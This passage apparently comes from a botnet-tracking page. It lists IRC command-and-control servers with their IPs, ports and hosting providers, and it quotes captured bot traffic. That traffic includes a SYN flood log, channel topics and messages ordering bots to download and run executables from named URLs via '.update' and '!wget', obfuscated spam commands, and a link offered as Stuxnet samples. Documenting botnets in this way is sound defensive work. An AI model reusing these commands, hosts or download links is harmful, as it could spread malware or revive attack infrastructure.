NICK {XPUSA288239} USER COMPUTERNAME * 0 :COMPUTERNAME MODE {XPUSA288239} -ix JOIN ##spam## MODE ##spam## -ix PRIVMSG ##spam## :.::[DDoS]::. Flooding 127.0.0.2:1234 with ddos.syn for 50 seconds PRIVMSG ##spam## :.::[DDoS]::. Done with flood (0KB/sec). NICK {XPUSA796543} MODE {XPUSA796543} -ix Resolved : [minerva.cdmon.org] To [89.248.172.225] Now talking in ##security-check## Topic On: [ ##security-check## ] [ .part ##security-check# ]Read more...
205.234.213.231(botnet hosted in United States Chicago Hostforweb Inc)
Remote Host Port Number 204.0.5.51 80 63.135.80.224 80 63.135.80.46 80 205.234.213.231 1234 PASS xxx NICK NEW-[USA|00|P|39876] USER XP-0115 * 0 :COMPUTERNAME MODE NEW-[USA|00|P|39876] -ix JOIN #!nn! test PONG 22 MOTD infos about hosting: http://whois.domaintools.com/205.234.213.231
Stuxnet decompiled samples
Source here:http://crowdleaks.org/hbgary-wanted-to-suppress-stuxnet-research/ Download: http://11ec4fbd.whackyvidz.com
test.sig-clan.com(botnet hosted in United States Atlanta Vpsland.com Llc)
test.sig-clan.com 64.186.131.40 64.186.131.40:4042 Nick: new[AUT|XP|pc0]qdpbhxq Username: hh Joined Channel: #chronic infos about hosting: http://whois.domaintools.com/64.186.131.40
im.updateserver.net(botnet hosted in United States Clifton Fortressitx)
im.updateserver.net 69.72.177.130 Remote Host Port Number 69.72.177.130 1863 PASS google_cache2.tmp NICK n[USA|XP]847980 USER 8479 “” “TsGh” :8479 JOIN #newbin# abc PONG 422 !im http://is.gd/nK9rS1?=IMG-DSC-16-02-2011-JPG !sort infos about hosting: http://whois.domaintools.com/69.72.177.130
64.32.28.18(botnet hosted in United States Missoula Sharktech Internet Services)
Remote Host Port Number 64.32.28.18 6667 NICK [USA|XP|njwfobd] USER vdifkkmdud “” “lol” :vdifkkmdud JOIN #GGGuardian PONG :R00t.Gov infos about hosting: http://whois.domaintools.com/64.32.28.18
im.maximum-irc.info(botnet hosted in United States Kingston University Of Rhode Island)
im.maximum-irc.info 131.128.57.195 Outgoing connection to remote server: im.maximum-irc.info TCP port 9595 [8:53] … Now talking in #swarm#… [8:53] … Topic On: [ #swarm# ] [ .update http://dickolsthoorn.nl/dn.exe win.exe 1 ] [8:53] … Topic By: [ me ] [8:53] … Modes On: [ #swarm# ] [ +smntMu ] NICK {NEW}[USA][XP]384495 USER svr-2771 “” “svr-” :svr-2771 PONGRead more...
193.106.173.130(botnet hosted in Russian Federation Iqhost Ltd)
Remote Host Port Number 193.106.173.130 2550 PASS (null) NICK {N}|USA|XP|COMPUTERNAME|624232 USER kanbps “” “vagy” :COMPUTERNAME JOIN #chef PRIVMSG #chef :New Servant. !wget http://r-promofile.info/10039-1.exe infos about hosting: http://whois.domaintools.com/193.106.173.130
facebook-o.com( botnet hosted in CNC Group CHINA169 Sichuan Province network)
Another server from our russian friend snk big hecker Remote Host Port Number 118.144.79.148 5500 194.109.6.97 80 NICK n[USA|XP]0991293 USER x “” “x” 😡 JOIN #xux PONG 422 PONG :srv5500.net * Topic is ‘.usb .msn ALL /125/115/124/115/38/48/62/125/82/118/43/114/98/65/106/108/126/65/127/126/112/104/124/36/66/114/48/124/106/117/102/105/78/44/108/77/106/53/108/99/58/47/43/61/78/107/120/117/112/105/51/67/94/102/44/19/63/56/38/19/36/63/49/56/22/15/105/85/87/’ .msn ALL /125/115/124/115/38/48/62/125/82/118/43/114/98/65/106/108/126/65/127/126/112/104/124/36/66/114/48/124/106/117/102/105/78/44/108/77/106/53/108/99/58/47/43/61/78/107/120/117/112/105/51/67/94/102/44/19/63/56/38/19/36/63/49/56/22/15/105/85/87/ DNS Lookup Host Name IP Address facebook-o.com 118.144.79.148 facebook-t.com 118.144.79.148 x1x4x0.net 127.0.0.1 Outgoing connection toRead more...
findcopper.org (malware hosted in Latvia Odessa Hosting Service)
DNS Lookup Host Name IP Address finddamaged.org finddamaged.org 86.55.211.249 findcopper.org findcopper.org 91.200.242.17 findvoiceless.org findvoiceless.org 91.200.242.87 Outgoing connection to remote server: finddamaged.org TCP port 80 Outgoing connection to remote server: findvoiceless.org TCP port 80 Outgoing connection to remote server: findcopper.org TCP port 80 Outgoing connection to remote server: findcopper.org TCP port 80 Outgoing connection to remoteRead more...